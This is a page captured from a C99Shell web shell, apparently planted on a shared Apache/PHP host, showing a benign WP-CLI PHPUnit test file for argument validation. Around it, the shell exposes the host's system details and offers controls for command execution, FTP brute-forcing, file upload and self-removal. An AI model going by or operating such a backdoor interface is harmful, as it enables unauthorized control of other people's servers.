!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/tests/   drwxr-xr-x
Free 711.54 GB of 879.6 GB (80.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArgValidationTest.php (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use WP_CLI\SynopsisValidator;
use WP_CLI\Tests\TestCase;

class ArgValidationTest extends TestCase {

    public function testMissingPositional() {
        $validator = new SynopsisValidator( '<foo> <bar> [<baz>]' );

        $this->assertFalse( $validator->enough_positionals( [] ) );
        $this->assertTrue( $validator->enough_positionals( [ 1, 2 ] ) );
        $this->assertTrue( $validator->enough_positionals( [ 1, 2, 3, 4 ] ) );

        $this->assertEquals( [ 4 ], $validator->unknown_positionals( [ 1, 2, 3, 4 ] ) );
    }

    public function testRepeatingPositional() {
        $validator = new SynopsisValidator( '<foo> [<bar>...]' );

        $this->assertFalse( $validator->enough_positionals( [] ) );
        $this->assertTrue( $validator->enough_positionals( [ 1 ] ) );
        $this->assertTrue( $validator->enough_positionals( [ 1, 2, 3 ] ) );

        $this->assertEmpty( $validator->unknown_positionals( [ 1, 2, 3 ] ) );
    }

    public function testUnknownAssocEmpty() {
        $validator = new SynopsisValidator( '' );

        $assoc_args = [
            'foo' => true,
            'bar' => false,
        ];
        $this->assertEquals( array_keys( $assoc_args ), $validator->unknown_assoc( $assoc_args ) );
    }

    public function testUnknownAssoc() {
        $validator = new SynopsisValidator( '--type=<type> [--brand=<brand>] [--flag]' );

        $assoc_args = [
            'type'  => 'analog',
            'brand' => true,
            'flag'  => true,
        ];
        $this->assertEmpty( $validator->unknown_assoc( $assoc_args ) );

        $assoc_args['another'] = true;
        $this->assertContains( 'another', $validator->unknown_assoc( $assoc_args ) );
    }

    public function testMissingAssoc() {
        $validator = new SynopsisValidator( '--type=<type> [--brand=<brand>] [--flag]' );

        $assoc_args                = [
            'brand' => true,
            'flag'  => true,
        ];
        list( $errors, $to_unset ) = $validator->validate_assoc( $assoc_args );

        $this->assertCount( 1, $errors['fatal'] );
        $this->assertCount( 1, $errors['warning'] );
    }

    public function testAssocWithOptionalValue() {
        $validator = new SynopsisValidator( '[--network[=<id>]]' );

        $assoc_args                = [ 'network' => true ];
        list( $errors, $to_unset ) = $validator->validate_assoc( $assoc_args );

        $this->assertCount( 0, $errors['fatal'] );
        $this->assertCount( 0, $errors['warning'] );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0117 ]--